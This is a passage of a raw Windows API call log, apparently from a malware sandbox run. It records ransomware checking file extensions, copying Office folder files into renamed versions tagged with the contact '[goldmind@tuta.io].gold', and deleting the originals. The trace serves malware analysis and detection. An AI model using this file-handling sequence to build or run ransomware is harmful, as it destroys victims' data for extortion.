lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x8be, lpOverlapped=0x0) returned 1 [0116.127] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0116.128] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.128] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0116.128] SetEndOfFile (hFile=0x188) returned 1 [0116.128] CloseHandle (hObject=0x188) returned 1 [0116.128] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.128] SetEndOfFile (hFile=0x38c) returned 1 [0116.130] CloseHandle (hObject=0x38c) returned 1 [0116.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".doc") returned 4 [0116.131] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.131] lstrlenW (lpString=".docx") returned 5 [0116.131] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.131] lstrlenW (lpString=".pdf") returned 4 [0116.131] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString=".xls") returned 4 [0116.131] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString=".xlsx") returned 5 [0116.131] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.131] lstrlenW (lpString=".ppt") returned 4 [0116.131] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".zip") returned 4 [0116.131] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString=".rar") returned 4 [0116.131] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString=".bz2") returned 4 [0116.131] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.131] lstrlenW (lpString=".7z") returned 3 [0116.131] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".dbf") returned 4 [0116.131] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".1cd") returned 4 [0116.131] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".jpg") returned 4 [0116.131] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.131] lstrlenW (lpString=".doc") returned 4 [0116.131] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0116.131] lstrlenW (lpString=".docx") returned 5 [0116.132] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0116.132] lstrlenW (lpString=".pdf") returned 4 [0116.132] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0116.132] lstrlenW (lpString=".xls") returned 4 [0116.132] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0116.132] lstrlenW (lpString=".xlsx") returned 5 [0116.132] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0116.132] lstrlenW (lpString=".ppt") returned 4 [0116.132] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.132] lstrlenW (lpString=".zip") returned 4 [0116.132] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0116.132] lstrlenW (lpString=".rar") returned 4 [0116.132] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0116.132] lstrlenW (lpString=".bz2") returned 4 [0116.132] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0116.132] lstrlenW (lpString=".7z") returned 3 [0116.132] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.132] lstrlenW (lpString=".dbf") returned 4 [0116.132] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.132] lstrlenW (lpString=".1cd") returned 4 [0116.132] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0116.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0116.132] lstrlenW (lpString=".jpg") returned 4 [0116.132] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0116.132] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.132] lstrlenW (lpString="TASK.CFG") returned 8 [0116.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.133] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=768) returned 1 [0116.133] CloseHandle (hObject=0x38c) returned 1 [0116.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 0x20 [0116.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.134] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.134] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.148] GetLastError () returned 0x0 [0116.148] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x300, lpOverlapped=0x0) returned 1 [0116.150] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x310, lpOverlapped=0x0) returned 1 [0116.151] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.151] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0116.151] SetEndOfFile (hFile=0x188) returned 1 [0116.151] CloseHandle (hObject=0x188) returned 1 [0116.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.151] SetEndOfFile (hFile=0x38c) returned 1 [0116.153] CloseHandle (hObject=0x38c) returned 1 [0116.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 1 [0116.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.155] lstrlenW (lpString=".doc") returned 4 [0116.155] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.155] lstrlenW (lpString=".docx") returned 5 [0116.155] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0116.155] lstrlenW (lpString=".pdf") returned 4 [0116.155] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.155] lstrlenW (lpString=".xls") returned 4 [0116.155] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.155] lstrlenW (lpString=".xlsx") returned 5 [0116.155] lstrcmpiW (lpString1=".xlsx", lpString2="K.CFG") returned -1 [0116.156] lstrlenW (lpString=".ppt") returned 4 [0116.156] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".zip") returned 4 [0116.156] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".rar") returned 4 [0116.156] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".bz2") returned 4 [0116.156] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.156] lstrlenW (lpString=".7z") returned 3 [0116.156] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".dbf") returned 4 [0116.156] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".1cd") returned 4 [0116.156] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".jpg") returned 4 [0116.156] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".doc") returned 4 [0116.156] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".docx") returned 5 [0116.156] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0116.156] lstrlenW (lpString=".pdf") returned 4 [0116.156] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".xls") returned 4 [0116.156] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".xlsx") returned 5 [0116.156] lstrcmpiW (lpString1=".xlsx", lpString2="K.CFG") returned -1 [0116.156] lstrlenW (lpString=".ppt") returned 4 [0116.156] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.156] lstrlenW (lpString=".zip") returned 4 [0116.156] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.156] lstrlenW (lpString=".rar") returned 4 [0116.157] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.157] lstrlenW (lpString=".bz2") returned 4 [0116.157] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.157] lstrlenW (lpString=".7z") returned 3 [0116.157] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.157] lstrlenW (lpString=".dbf") returned 4 [0116.157] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.157] lstrlenW (lpString=".1cd") returned 4 [0116.157] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0116.157] lstrlenW (lpString=".jpg") returned 4 [0116.157] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.157] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.157] lstrlenW (lpString="TASKACC.CFG") returned 11 [0116.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.158] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=804) returned 1 [0116.158] CloseHandle (hObject=0x38c) returned 1 [0116.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 0x20 [0116.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.159] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.159] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.160] GetLastError () returned 0x0 [0116.160] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x324, lpOverlapped=0x0) returned 1 [0116.162] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x330, lpOverlapped=0x0) returned 1 [0116.163] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.163] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0116.163] SetEndOfFile (hFile=0x188) returned 1 [0116.163] CloseHandle (hObject=0x188) returned 1 [0116.163] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.163] SetEndOfFile (hFile=0x38c) returned 1 [0116.165] CloseHandle (hObject=0x38c) returned 1 [0116.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".doc") returned 4 [0116.167] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".docx") returned 5 [0116.167] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0116.167] lstrlenW (lpString=".pdf") returned 4 [0116.167] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".xls") returned 4 [0116.167] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".xlsx") returned 5 [0116.167] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0116.167] lstrlenW (lpString=".ppt") returned 4 [0116.167] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".zip") returned 4 [0116.167] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".rar") returned 4 [0116.167] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".bz2") returned 4 [0116.167] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.167] lstrlenW (lpString=".7z") returned 3 [0116.167] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".dbf") returned 4 [0116.167] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".1cd") returned 4 [0116.167] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".jpg") returned 4 [0116.167] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.167] lstrlenW (lpString=".doc") returned 4 [0116.167] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0116.167] lstrlenW (lpString=".docx") returned 5 [0116.167] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0116.168] lstrlenW (lpString=".pdf") returned 4 [0116.168] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString=".xls") returned 4 [0116.168] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString=".xlsx") returned 5 [0116.168] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0116.168] lstrlenW (lpString=".ppt") returned 4 [0116.168] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.168] lstrlenW (lpString=".zip") returned 4 [0116.168] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString=".rar") returned 4 [0116.168] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString=".bz2") returned 4 [0116.168] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0116.168] lstrlenW (lpString=".7z") returned 3 [0116.168] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0116.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.168] lstrlenW (lpString=".dbf") returned 4 [0116.168] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0116.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.168] lstrlenW (lpString=".1cd") returned 4 [0116.168] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0116.168] lstrlenW (lpString=".jpg") returned 4 [0116.168] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.168] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0116.168] lstrlenW (lpString="TASKACCL.ICO") returned 12 [0116.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.169] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0116.169] CloseHandle (hObject=0x38c) returned 1 [0116.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 0x20 [0116.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0116.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0116.171] GetLastError () returned 0x0 [0116.171] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.172] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.172] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.172] WriteFile (in: hFile=0x188, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.173] SetEndOfFile (hFile=0x188) returned 1 [0116.173] CloseHandle (hObject=0x188) returned 1 [0116.173] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 